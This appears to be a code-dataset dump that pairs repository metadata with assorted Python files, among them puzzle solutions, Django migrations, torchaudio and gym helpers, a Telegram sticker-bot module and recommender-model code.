2015-10-18T05:44:36
2015-10-18T05:44:36
42,380,759
0
0
null
null
null
null
UTF-8
Python
false
false
435
#!/usr/bin/env python import base64 import json import sys source_url = "https://farm4.staticflickr.com/3930/15247727947_e3de85030a_k_d.jpg" specification = { "width": 720, "quality": 0.8, } final_url = "http://127.0.0.1:9500/i/{source}/{spec}".format( source = base64.b64encode(source_url), spec ...
[ "jnopporn@shiroyuki.com" ]
jnopporn@shiroyuki.com
c3ff22f6586166a3f36207aa15bfd1657818abdb
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/eA94BuKYjwMoNQSE2_2.py
2cdf96589de919885604b4d64d783e95ff1c6adc
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
319
py
""" Create a function that returns `True` if a given inequality expression is correct and `False` otherwise. ### Examples correct_signs("3 < 7 < 11") ➞ True correct_signs("13 > 44 > 33 > 1") ➞ False correct_signs("1 < 2 < 6 < 9 > 3") ➞ True ### Notes N/A """ correct_signs = eval
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
f12ff0cc1f67086a0f8dfa5427d2902cf1d00f98
cc1bc00ecfbf1e09877530263775aa08b565a420
/decorators.py
c303abaebd8c86c5800b238889e3c059094617a3
[]
no_license
sharare90/Smart-Walker
7a21f01054d70279448dcb8c2e11c35a12b0781d
1918467486b8c1bfebd7fa0454b637711e79987b
refs/heads/master
2018-10-12T08:30:21.884341
2018-10-08T16:10:12
2018-10-08T16:10:12
109,732,528
1
0
null
2018-07-11T14:51:27
2017-11-06T18:19:53
Python
UTF-8
Python
false
false
396
py
from datetime import datetime timing_file = open('logs/timing/timing.txt', 'w') def timing(func): def func_wrapper(*args, **kwargs): begin = datetime.now() result = func(*args, **kwargs) timing_file.write('{name}: {duration}\n'.format(name=func.__name__, duration=datetime.now() - begin))...
[ "siavash.khodadadeh@gmail.com" ]
siavash.khodadadeh@gmail.com
913bf324b42aa9b1280e0b98cc5c9fcda28f7de7
c0c8bb30b1423397bf1f6b967bc294bf7c512339
/Python_Workspace/example/Web Spider/urllib/create_request_head.py
941d2acd286f1dcf1063062320bb097f626f95f9
[]
no_license
lxconfig/BlockChainDemo
8d5e0d38b6008149f677000c06f535271b36118e
0267ef3cbc8c0e66f42f0b718769cce2cd94c576
refs/heads/master
2022-12-10T03:17:11.654430
2020-04-02T12:49:57
2020-04-02T12:49:57
219,700,549
14
0
null
2022-12-06T03:01:30
2019-11-05T08:59:44
HTML
UTF-8
Python
false
false
541
py
# -*- coding:utf-8 -*- # time:2018/12/13 19:54 import urllib.request import urllib.parse url = 'http://www.baidu.com/' #使用fiddler抓包时,url最后要加/,否则报错 #要伪装的头部,构建UA headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' } ...
[ "525868229@qq.com" ]
525868229@qq.com
215a26bd2327001de5fe9c1132c7e5a2f1245485
1dbc955c3d717476fa75a48cc87a05e2eceb0002
/easy/roman_to_integer.py
fa9605f972ccb64705bcde136c4be1a950ff6fa9
[]
no_license
gregorysimpson13/leetcode
e68eaee2ba38a1edff119eda1ccdeacc0c400d26
ae88b9f9979a5643497cb2dfeb90d19a1bcdb137
refs/heads/master
2023-03-31T23:58:58.940234
2021-04-11T14:37:31
2021-04-11T14:37:31
258,632,884
0
0
null
null
null
null
UTF-8
Python
false
false
2,003
py
# 13. Roman to Integer: EASY # https://leetcode.com/problems/roman-to-integer/ # Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M. # Symbol Value # I 1 # V 5 # X 10 # L 50 # C 100 # D 500 # M 1000...
[ "gregorysimpson13@gmail.com" ]
gregorysimpson13@gmail.com
b9c77be87a4bc0e93421d2a94a46c77f1aee6479
826ef921c6ea02e532398b87991353a61cb2804f
/data/migrations/0017_culture.py
b26845e7f30a2aef977bf90ae714d00e9815fce7
[ "MIT" ]
permissive
betagouv/peps
c3823405b27fa73e3e9bf63292622d68021d622b
6a28aac1c6daca530775db7cd173cbca2441ab54
refs/heads/master
2022-02-14T08:06:15.759531
2022-01-25T15:01:34
2022-01-25T15:01:34
202,151,130
6
7
MIT
2022-01-24T14:03:21
2019-08-13T13:31:01
Python
UTF-8
Python
false
false
1,178
py
# Generated by Django 2.2.4 on 2019-10-07 08:17 import django.contrib.postgres.fields.jsonb from django.db import migrations, models import django.utils.timezone import uuid class Migration(migrations.Migration): dependencies = [ ('data', '0016_auto_20191005_0847'), ] operations = [ mig...
[ "alemangui@gmail.com" ]
alemangui@gmail.com
abf915ed21e5312abdaeb1df025bde1fdc0e6821
926b3c52070f6e309567c8598248fd5c57095be9
/src/audio/torchaudio/_internal/module_utils.py
d540bbbc97cfc161f60e483d8b78c6323ea41c60
[ "BSD-2-Clause" ]
permissive
fengbingchun/PyTorch_Test
410f7cd2303707b0141d433fb9d144a961e1f4c8
df5c2169f0b699bcd6e74adb4cb0e57f7dcd9348
refs/heads/master
2023-05-23T16:42:29.711338
2023-03-25T11:31:43
2023-03-25T11:31:43
167,339,907
15
4
null
2023-03-25T11:31:45
2019-01-24T09:24:59
C++
UTF-8
Python
false
false
3,897
py
import importlib.util import warnings from functools import wraps from typing import Optional import torch def is_module_available(*modules: str) -> bool: r"""Returns if a top-level module with :attr:`name` exists *without** importing it. This is generally safer than try-catch block around a `import X`. ...
[ "fengbingchun@163.com" ]
fengbingchun@163.com
501b52d0ade6df84f615376bd0ae8d29cd8b4c14
9c5e09b4f048a13961c0f4a1370a7bf01a421d92
/gym/envs/classic_control/__init__.py
75da5a0fa5fe4d30c6450fb5ef7a3ab5299550f1
[ "MIT" ]
permissive
StanfordVL/Gym
daa8c780f5ace3e33c3bf0f7109f40a0a820d59e
5e14d19e57d8ba318b97a5edda0ab2ea591dea08
refs/heads/master
2023-02-03T02:44:40.185713
2020-12-17T14:10:16
2020-12-17T14:10:16
280,579,514
9
4
null
null
null
null
UTF-8
Python
false
false
205
py
from .cartpole import CartPoleEnv from .mountain_car import MountainCarEnv from .continuous_mountain_car import Continuous_MountainCarEnv from .pendulum import PendulumEnv from .acrobot import AcrobotEnv
[ "shawn@DNa1c068f.SUNet" ]
shawn@DNa1c068f.SUNet
80d002cd3f3de72f38750d23556acd0df3f60406
361cb113912ba0ffdb07ecf0447cc0f2efa1d419
/malaya/supervised/tag.py
62766b84eaaf07a0086706d880ad60e0d1a3a83e
[ "MIT" ]
permissive
limeng05/malaya
a856f6b92e9972a601ba4b0a79b800906ab3dd5d
cbd761b87d7d05afb6fb88183dfd9164690e1ce2
refs/heads/master
2023-04-27T06:58:07.007720
2021-05-18T02:02:20
2021-05-18T02:02:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,321
py
import json import re from malaya.function import ( check_file, load_graph, generate_session, nodes_session, ) from malaya.text.bpe import ( sentencepiece_tokenizer_bert, sentencepiece_tokenizer_xlnet, AlbertTokenizer, ) from malaya.model.bert import TaggingBERT from malaya.model.xlnet impor...
[ "husein.zol05@gmail.com" ]
husein.zol05@gmail.com
445e8d15ab5c9312149a59bfac642e6b4252e41a
bce6c01f19d86786ef1419ba827e980a19b6e51f
/stickerfinder/telegram/commands/maintenance.py
811a6c96e2feaeb6e7e63c5feee7ce8e83acd1dc
[ "MIT" ]
permissive
NANDUACHU/stickerfinder
831e6396945e3c813b5747a7c2e266a00f11e8f6
94aac90c221d54b533ab84c065b79e7ec15a265c
refs/heads/master
2020-04-02T07:23:22.890228
2018-10-22T10:16:00
2018-10-22T10:16:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,852
py
"""Maintenance related commands.""" from sqlalchemy import func from telegram.ext import run_async from datetime import datetime, timedelta from stickerfinder.helper.keyboard import admin_keyboard from stickerfinder.helper.session import session_wrapper from stickerfinder.helper.telegram import call_tg_func from stick...
[ "arne@twobeer.de" ]
arne@twobeer.de
0828fa2c0220610e393d9e38ed0cbe65670256f4
d3c16dbff89c23df221a5cf897019d3b3eefa3cd
/tests.py
11c7ef4218d14a8b15e999b07cad1bcc1092d380
[ "MIT" ]
permissive
kuredatan/suboptimal-buqo
4c7662a36c8fc36d640b89d49f415d26433edd9a
1bb892bfac6f895153cd34679f4d493a2920ce50
refs/heads/master
2020-05-18T01:35:45.950266
2019-04-29T16:07:43
2019-04-29T16:07:43
184,078,109
0
0
null
null
null
null
UTF-8
Python
false
false
1,587
py
#coding:utf-8 from parameters import get_image from main import main import sys import dill as pickle def robustness(x): true_sigma = 5 sigma_values = range(2, 20, 1) rhos, vs = [], [] for sigma in sigma_values: print(">> Sigma = " + str(sigma)) res = main(x, sigma=sigma, true_sigma=true_sigma, print_stuff=Fa...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
eaba22441599ed6468b6d2cc7f5642ef5d3040fb
52b0763e2fcd4449432f1533398451aaf4a01fb3
/dsmrreader/__init__.py
16d3a8970afc024dcdb25dce8951af6b7a234ffe
[]
no_license
poerlemans/dsmr-reader
3f8292ec6a489a70d45c17ab545e5114edee8cf2
881b0e8b1b235ec4ae17e44feaf520b95d831c92
refs/heads/master
2021-04-06T19:50:07.593098
2018-03-11T16:55:28
2018-03-11T16:55:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
822
py
""" Copyright (C) 2015/2016 Dennis Siemensma This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This prog...
[ "github@dennissiemensma.nl" ]
github@dennissiemensma.nl
bb44eba4a2d00697e92b3226561724f3d8a7513e
4d5e6e0a7057123ddd7cb97027e667117e1be143
/functions/lambdas_multiple.py
14b936f371cd772a30338255ccaaa1cd7a1b53a7
[]
no_license
shubhomedia/Learn_Python
cee48990c04521fcbb7dbf5ad120c69170dcd1be
01e0a8e3dc2de87b09c963e7cb9fc5e246831ddb
refs/heads/master
2021-07-01T08:53:51.151326
2021-01-02T17:31:36
2021-01-02T17:31:36
204,191,119
0
0
null
null
null
null
UTF-8
Python
false
false
75
py
triple = lambda x: x * 3 add = lambda x, y: x + y print(add(triple(3), 4))
[ "shubhomedia@gmail.com" ]
shubhomedia@gmail.com
bfb8bd270573e1077c6361ef9e9d36c800f3e20c
f14bfd79d8bdcd012f21895084598d4bfe9fb9f2
/0x03-python-data_structures/8-multiple_returns.py
17d9b569b31ef63076b05527955af3e56ca9f493
[]
no_license
ch-canaza/holbertonschool-higher_level_programming
1c62ae2e7798d79e619d8a133c3929720f317196
1d7402c90de37b920e163a04f196491a99d516c0
refs/heads/master
2023-01-18T23:06:57.738005
2020-11-12T21:57:53
2020-11-12T21:57:53
259,409,858
0
0
null
null
null
null
UTF-8
Python
false
false
212
py
#!/usr/bin/python3 def multiple_returns(sentence): len_s = len(sentence) if len_s == 0: first_c = None else: first_c = sentence[0] return (len_s, first_c)
[ "ch-canaza@hotmail.com" ]
ch-canaza@hotmail.com
96b57464a74ad20e0693ed3adb70b2836a410c50
59523dad23fbaa2563266cc18546c5b80dcc7d9a
/main_board/tests/test_models.py
52caad2495dafe75ec1594be75448bbd37eec94e
[ "MIT" ]
permissive
ralphqq/pse-indices-scoreboard
944523353653925ef6c7787cafcbe3596da8e149
f11a01915ac5a17b663db604afe996c5ed928fb9
refs/heads/master
2022-11-16T15:26:32.896651
2021-01-08T02:42:19
2021-01-08T02:42:19
200,831,367
1
0
MIT
2022-11-04T19:39:39
2019-08-06T10:40:49
Python
UTF-8
Python
false
false
1,114
py
import json import os from django.conf import settings from django.test import TestCase from main_board.models import MarketIndex, ValueUpdate class MarketIndexModelTest(TestCase): @classmethod def setUpClass(cls): super().setUpClass() with open(os.path.join(settings.BASE_DIR,...
[ "ralph.quirequire@outlook.com" ]
ralph.quirequire@outlook.com
dcc92c7fd5d4b918f836ef82a5cb4c7342ad94d1
c595b995f0467871d07eb70dd5fa8b19d4b2b7d5
/tests/test_password_commands.py
226e93317793cef4e6241b1f4dec3667a97fe492
[ "Apache-2.0" ]
permissive
Camisa/openstack-guest-agents-unix
e79dd857031a5416bc58b66142519e6e9575153a
f0d75d0260dd02619c49c54f2b2e81742c28c0d6
refs/heads/master
2021-01-21T06:46:27.211249
2017-02-27T08:29:35
2017-02-27T08:29:35
83,277,923
0
0
null
2017-02-27T06:50:06
2017-02-27T06:50:06
null
UTF-8
Python
false
false
5,552
py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright (c) 2011 Openstack, LLC. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www...
[ "cbehrens@codestud.com" ]
cbehrens@codestud.com
321768676be63ffea6c76ae6da18daee5a7beba1
6ac0bba8c1851e71529269c0d9d89a7c8fa507f2
/Easy/589.py
f756e58cbbfc3c8865b1e046aa201d8c98c49fce
[]
no_license
Hellofafar/Leetcode
e81dc85689cd6f9e6e9756beba070cb11e7b192e
7a459e9742958e63be8886874904e5ab2489411a
refs/heads/master
2021-05-16T07:07:19.823953
2020-02-17T03:00:09
2020-02-17T03:00:09
103,690,780
6
0
null
null
null
null
UTF-8
Python
false
false
1,403
py
# ------------------------------ # 589. N-ary Tree Preorder Traversal # # Description: # Given an n-ary tree, return the preorder traversal of its nodes' values. # For example, given a 3-ary tree: # Return its preorder traversal as: [1,3,5,6,2,4]. # Note: Recursive solution is trivial, could you do it iteratively? # ...
[ "buptljf@gmail.com" ]
buptljf@gmail.com
73654cf4d5c2cac33fa1bc24cf952859b18da78e
999f3f3da1cb70cb5872f99a09d65d7c4df71cf7
/src/data/209.py
2be783ab8b2d1b88de1b6c4a8383971bc0a50f52
[ "MIT" ]
permissive
NULLCT/LOMC
0f0d1f01cce1d5633e239d411565ac7f0c687955
79a16474a8f21310e0fb47e536d527dd5dc6d655
refs/heads/main
2023-07-27T17:03:46.703022
2021-09-04T08:58:45
2021-09-04T08:58:45
396,290,713
0
0
null
null
null
null
UTF-8
Python
false
false
501
py
from collections import deque n, q = map(int, input().split()) G = [[] for i in range(n)] for _ in range(n - 1): a, b = map(int, input().split()) G[a - 1].append(b - 1) G[b - 1].append(a - 1) dist = [-1] * n dist[0] = 0 Q = deque([0]) while Q: u = Q.popleft() for v in G[u]: if dist[v] == -1...
[ "cockatiel.u10@gmail.com" ]
cockatiel.u10@gmail.com
39ed39aaa653b550f7ea1c6d42aa5c5a684fe466
67a442ecabcdca9f54f5920874d0095d57f98ede
/gewittergefahr/gg_io/tornado_io_test.py
37187d24e17a3dfd9de389cfa84b4557deb6bdef
[ "MIT" ]
permissive
thunderhoser/GewitterGefahr
58ba3446c1cc154f56c12c4354dff05b34c12b13
1835a71ababb7ad7e47bfa19e62948d466559d56
refs/heads/master
2022-07-23T06:47:13.883598
2022-07-15T12:43:48
2022-07-15T12:43:48
104,016,785
29
13
MIT
2020-12-18T20:44:33
2017-09-19T02:37:21
Python
UTF-8
Python
false
false
13,043
py
"""Unit tests for tornado_io.py.""" import copy import unittest import numpy import pandas from gewittergefahr.gg_io import tornado_io from gewittergefahr.gg_utils import longitude_conversion as lng_conversion TOLERANCE = 1e-6 # The following constants are used to test _is_valid_fujita_rating. F_SCALE_RATING_ALL_CAP...
[ "ryan.lagerquist@ou.edu" ]
ryan.lagerquist@ou.edu
ec14ac8e860ffa8c26b12b135bf8b68e17217de3
64996af4a7ae31424113ed9e1f693e8d2556fdd1
/Django/AJAX/WallAjax/wall/models.py
84e915be60dd5c47830872d531574cd578ca6a6d
[]
no_license
Instructor-Devon/PythonSolutions
0cbdfd9d7a709ab84cd3e918957c311686cc8df3
8da9ace9d8381643d345d331b1149444ebeec218
refs/heads/master
2022-11-19T13:58:31.226340
2020-07-21T21:14:58
2020-07-21T21:14:58
274,504,921
0
0
null
null
null
null
UTF-8
Python
false
false
727
py
from django.db import models from logreg.models import User # Create your models here. class Message(models.Model): content = models.CharField(max_length=255) author = models.ForeignKey(User, related_name='messages', on_delete=models.CASCADE) created_at = models.DateTimeField(auto_now_add=True) updated_...
[ "=" ]
=
6026136f7780fb91a08b8ee9d1b80bd53acccfc0
8787b2fbb5017b61dcf6075a5261071b403847bf
/SWExpert/4530. 극한의 청소 작업.py
1cc68e6f86f8db469f8fe857b8e6f701bd0adad7
[]
no_license
khw5123/Algorithm
a6fe0009e33289813959553c2366d77c93d7b4b9
323a829f17a10276ab6f1aec719c496a3e76b974
refs/heads/master
2023-01-02T00:12:21.848924
2020-10-23T06:37:41
2020-10-23T06:37:41
282,162,235
0
0
null
null
null
null
UTF-8
Python
false
false
830
py
li = [1] for i in range(1, 12): li.append(pow(10, i) + ((9-1) * sum(li[:i]))) def solve(n): global li result = 0 for i in range(len(n)): num = n[i:] if len(num) == 1 and int(num) >= 4: result += 1 else: if int(num[0]) < 4: res...
[ "5123khw@hknu.ac.kr" ]
5123khw@hknu.ac.kr
22e617f9985cc5a8a81beae4b45152ff1ef77259
d3d8e77208b323afa49917c6a191b7187c005a9a
/euler_one.py
94366f75d0805e3fdeb7f7be309a6ba339050c46
[]
no_license
cponeill/euler
a58e40bd5f6368dad69d4ebbbec313ec1c944643
7bf27c5481c4105d6ca3ba82a531425fbb40a35b
refs/heads/master
2021-01-23T07:09:26.186601
2013-06-29T05:06:42
2013-06-29T05:06:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
251
py
# This is my answer to question number one. Pretty simple enough. def euler_one(s): return sum(n for n in range(s) if n%3 == 0 or n%5 == 0) # This will print out the answer you need for the very first question which is 233168. print euler(1000)
[ "caseyoneill78@hotmail.com" ]
caseyoneill78@hotmail.com
f3d29dea4d70e12603d14237e039ac15473de624
e385a3bd278fc6add76c430038fdd6000b6ea715
/B_Search_Algorithms/A_Algorithms/search_binary.py
f2bb49371600b2127647648e04360688e54971c6
[ "MIT" ]
permissive
Oscar-Oliveira/Data-Structures-and-Algorithms
e781bcc34abe2a05113b457c48e836072d67100e
4f75a5aa1e525a5b59944a2cc15f670f0b216a80
refs/heads/master
2021-09-26T08:43:51.711847
2018-10-28T08:40:10
2018-10-28T08:40:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
734
py
""" BinarySearch """ from math import ceil, log from A_Algorithms.search_adt import Search class BinarySearch(Search): """Binary search""" def search(self): self.comparisons = 0 start = 0 end = len(self.list) - 1 while start <= end: self.comparisons ...
[ "oscar.m.oliveira@gmail.com" ]
oscar.m.oliveira@gmail.com
42ec7e0e8794eb0be0d9652f3e5c5914bb756c2e
f770a1f73701451487ff9e988f9e7de53173e842
/advanced/decorator.py
dddf7e10f75dca18c207f213fa5af7e35bffbeef
[]
no_license
935048000/python-LV1.0
a15aa3d1cc9343818d1b7c2ec19f99c2e673f0c7
86c5db2869e5c456f73a9953b2355946635dde4d
refs/heads/master
2021-07-15T02:31:17.022013
2018-11-01T03:32:36
2018-11-01T03:32:36
91,559,178
2
0
null
null
null
null
UTF-8
Python
false
false
1,353
py
#coding=utf-8 # 装饰器 # 一个返回函数的高阶函数 # decorator可以增强函数的功能,定义起来虽然有点复杂,但使用起来非常灵活和方便。 # 定义一个能打印日志的decorator def log(func): def wrapper(*args, **kw): print('call %s():' % func.__name__) return func(*args, **kw) return wrapper @log def now(): print('2015-3-25') now() print now.__name__ # 加入自定义日...
[ "935048000@qq.com" ]
935048000@qq.com
d320612571007739c8aa5560f5158af731c9a31c
5da5473ff3026165a47f98744bac82903cf008e0
/packages/google-cloud-gke-multicloud/samples/generated_samples/gkemulticloud_v1_generated_azure_clusters_list_azure_clients_async.py
78622e3c9ed58cd578dbd8cdf37f9842c4008f91
[ "Apache-2.0" ]
permissive
googleapis/google-cloud-python
ed61a5f03a476ab6053870f4da7bc5534e25558b
93c4e63408c65129422f65217325f4e7d41f7edf
refs/heads/main
2023-09-04T09:09:07.852632
2023-08-31T22:49:26
2023-08-31T22:49:26
16,316,451
2,792
917
Apache-2.0
2023-09-14T21:45:18
2014-01-28T15:51:47
Python
UTF-8
Python
false
false
1,949
py
# -*- coding: utf-8 -*- # Copyright 2023 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "noreply@github.com" ]
googleapis.noreply@github.com
2fd43e18792ceef88036548e6ecb25314e8dcb68
47c39800fa6f928e0d13f26727ba52bda2aa6ff0
/venv/Lib/site-packages/aliyunsdkrds/request/v20140815/CancelImportRequest.py
be72075ed0b0fa2038ddd9a8aafb19d8c3d56166
[ "MIT" ]
permissive
dddluke/zhihuipingtai
952ed5f9a4011cb4fb2765a0571c978af784d708
4e46e01440f8c270c05259ac0f38bd56dd04016c
refs/heads/master
2023-03-09T03:32:47.807760
2021-02-26T02:36:10
2021-02-26T02:36:10
341,816,381
0
0
null
null
null
null
UTF-8
Python
false
false
2,341
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "lukeli0306@gmail.com" ]
lukeli0306@gmail.com
52651dd65f4e41a626d1258e86288134f96e6cd3
7ba39fb1153c8164a8d22bbc23d8fa80941de09e
/backend/manage.py
359ecc1d3a12dbd487d1d7c508a2710b32ad7d9b
[]
no_license
crowdbotics-apps/winter-leaf-26330
828d48521dfc34dbb7784bef214ec24e529bec82
842e1ec436374c33fee7d9b007127c73adca27af
refs/heads/master
2023-04-19T07:26:16.044361
2021-05-07T15:20:14
2021-05-07T15:20:14
365,274,706
0
0
null
null
null
null
UTF-8
Python
false
false
637
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'winter_leaf_26330.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: ra...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
5d592824b56cf24b7e0f5ac1159baff102c3eac6
d2c4934325f5ddd567963e7bd2bdc0673f92bc40
/tests/artificial/transf_Anscombe/trend_MovingAverage/cycle_5/ar_12/test_artificial_128_Anscombe_MovingAverage_5_12_0.py
5720c8508b46588d614d2dd8c8373afab8618d99
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
jmabry/pyaf
797acdd585842474ff4ae1d9db5606877252d9b8
afbc15a851a2445a7824bf255af612dc429265af
refs/heads/master
2020-03-20T02:14:12.597970
2018-12-17T22:08:11
2018-12-17T22:08:11
137,104,552
0
0
BSD-3-Clause
2018-12-17T22:08:12
2018-06-12T17:15:43
Python
UTF-8
Python
false
false
272
py
import pyaf.Bench.TS_datasets as tsds import pyaf.tests.artificial.process_artificial_dataset as art art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "MovingAverage", cycle_length = 5, transform = "Anscombe", sigma = 0.0, exog_count = 0, ar_order = 12);
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
adc34e9bdfdf40fd0b7d55d4db4db9d6c20d104e
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_235/ch99_2019_11_27_18_47_29_773624.py
393a212cb1ffddfe31a71caf2c57de7d852976e7
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
103
py
def login_disponivel(x,y): for i in y: if x == y[i]: x=y[i],str(1) return x
[ "you@example.com" ]
you@example.com
60bb8bac17eaa33b89b9a938a703065c1495c2b6
dde890896c4c7209d02145d47955d7f2faa64aa1
/train/source_odin/base_line/deeplearning/__init__.py
9e12e2617c1e4a3cb936e10cfe6e390c9b862f9f
[]
no_license
Thien223/doctor_opinions_analysis_version_4
cee07c61c8899011d2df65a27ef2377b9d400200
9041c63e5e56ef31b236e05fb1d0b94777df0603
refs/heads/main
2023-04-21T06:49:59.435361
2021-05-09T23:27:31
2021-05-09T23:27:31
360,044,658
0
0
null
null
null
null
UTF-8
Python
false
false
112
py
from torch.nn import Conv1d, Conv2d, Conv3d from torch.nn import Linear as DNN from torch.nn import RNN,LSTM,GRU
[ "thien@locslab.com" ]
thien@locslab.com
7e7b0a1db556edc8d90de30376b7816b4f544671
b7851ffc689990a5c394697b1d016ba34307630c
/venv/lib/python3.8/site-packages/django/contrib/admin/helpers.py
556e0af01fb7070358f18a2a1fa075cf1b1ece87
[]
no_license
denokenya/django-schooling-rest-api
f38fb5cc31a6f40462f9cb1dcc6c3fd36e1301c6
552b98d5494344049541df615f446713cb5da1fa
refs/heads/main
2023-06-14T12:53:11.897887
2021-07-10T18:02:11
2021-07-10T18:02:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,506
py
import json from django import forms from django.conf import settings from django.contrib.admin.utils import ( display_for_field, flatten_fieldsets, help_text_for_field, label_for_field, lookup_field, ) from django.core.exceptions import ObjectDoesNotExist from django.db.models import ManyToManyRel...
[ "lucasciccomy@gmail.com" ]
lucasciccomy@gmail.com
e9db63e69b25034376b21e9d67864694f15537ca
51108a50ffb48ad154f587c230045bb783f22240
/bfgame/maps/skeletoncrypt/cells.py
a3d5cfcf7a3a528a0d58fb23186ebd1629596e2c
[ "MIT" ]
permissive
ChrisLR/BasicDungeonRL
c90bd0866c457557cccbad24e14689d5d6db7b00
b293d40bd9a0d3b7aec41b5e1d58441165997ff1
refs/heads/master
2021-06-15T13:56:53.888646
2019-08-05T16:33:57
2019-08-05T16:33:57
104,269,987
3
0
MIT
2019-08-05T16:28:23
2017-09-20T21:35:19
Python
UTF-8
Python
false
false
1,064
py
from bfgame.maps.skeletoncrypt import connectors from bfgame.tiles import floors, doors, walls from bflib import monsters from core.direction import Direction from core.generators import spawns from core.maps.base import MapPiece class LargeCellArea(MapPiece): name = "Large Cell Area" tiles = [ "#####...
[ "arzhul@gmail.com" ]
arzhul@gmail.com
0570e4dd7e5398fd24b874859c0f3edbb55ee0cb
6fc7f97017613956e23bf0117d03340d858793aa
/DS/Python/PROJ5/P3_pseudo.py
7b899c305e8fea95020785f45eeba0385d3de5dd
[]
no_license
Chaeguevara/21_1-SNU
50c1a026b472c2caf5b1fed6307e01b1f91c9871
fcef342729ab9e57ee5c77017499e9514f790870
refs/heads/master
2023-07-12T20:39:01.873987
2021-08-22T15:28:17
2021-08-22T15:28:17
345,637,805
0
0
null
null
null
null
UTF-8
Python
false
false
1,687
py
def P3(world): ''' world: M x N list, M>=1, N>=1 ''' ''' 아이디어 : 땅에 도착 = 방문한적 없고, 그 값이 1인경우 논리 흐름은 대략 다음과 같음 1. 모든 리스트 값에 대해 루프를 돌림 2. 현재 인덱스가 1인지 + 방문한적 없는지 판별함 3. 만약 위의 조건이 맞다면 땅이기 때문에 땅의 카운트를 더함 3.1 해당 인덱스에서 인접한 인덱스가 땅인지, 물인지 판별함 3.2 인접이 땅이라면 그 다음도 땅인지 판별함 (recursio...
[ "dfso2@naver.com" ]
dfso2@naver.com
f195f91f84c5f44ef65d7090b191470306b824ea
e609d9721c639b749943f7783b02eb6d50800c87
/goshop/goshop/settings.py
caf66b1cd7e82926c209398380c31392682d36f3
[]
no_license
saif-11bit/ecommerce-web-app-django
ba5a3e8ae07379ffdc4af0ab2069ce103153cd40
09abad5eef662b4554413a4ac60f85b5e017bce7
refs/heads/master
2020-09-06T03:57:38.674014
2019-11-07T19:38:54
2019-11-07T19:38:54
220,314,032
0
0
null
null
null
null
UTF-8
Python
false
false
3,212
py
""" Django settings for goshop project. Generated by 'django-admin startproject' using Django 2.2.6. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # ...
[ "saifmdco@gmail.com" ]
saifmdco@gmail.com
431db9db5e4452d177c125c36dfec20480e2ab22
1e84738e70fc3e5a90a6d9d7adfb8c492b501305
/beta_rec/models/lightgcn.py
6523d6ee33556fcee0c8603951def0bebc44d0ae
[]
no_license
kiminh/beta-recsys
8f7ccc1f20e92a6fbf8d9bbc92209fa2212fde6b
4331013a3f8b65c3dbe00411989bb664ed72470c
refs/heads/master
2022-11-20T22:28:40.944004
2020-07-15T19:23:07
2020-07-15T19:23:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,703
py
import torch import torch.nn as nn from beta_rec.models.torch_engine import ModelEngine class LightGCN(torch.nn.Module): """Model initialisation, embedding generation and prediction of NGCF """ def __init__(self, config, norm_adj): super(LightGCN, self).__init__() self.config = config ...
[ "noreply@github.com" ]
kiminh.noreply@github.com
930629ffbf6ac880c34ecf2561cccaf1125d7e37
6ed0503aa4a03acb8c992e2465ea54875d3c9a8f
/personable/db/models/person.py
6a9e22a370ac2aef289b6474fd0efef7e8359a89
[]
no_license
fstakem/personable
51d59460e3249aa6ecd4b47101c16cdd71a9e6a5
4f2e30082c820c7c90c7dba402edee5646ea159a
refs/heads/master
2021-01-22T08:27:46.378141
2017-06-14T02:13:29
2017-06-14T02:13:29
92,615,582
0
0
null
null
null
null
UTF-8
Python
false
false
2,247
py
# ----------------------------------------------------------------------------------------------- # # Company: Personal Research # By: Fredrick Stakem # Created: 5.27.17 # # ----------------------------------------------------------------------------------------------- # Libraries f...
[ "fstakem@gmail.com" ]
fstakem@gmail.com
3b2f772ebb6cd47a2cfca3335e8cafb03d46638d
b19cea8dcde899453ffe0efad17cd177c819324d
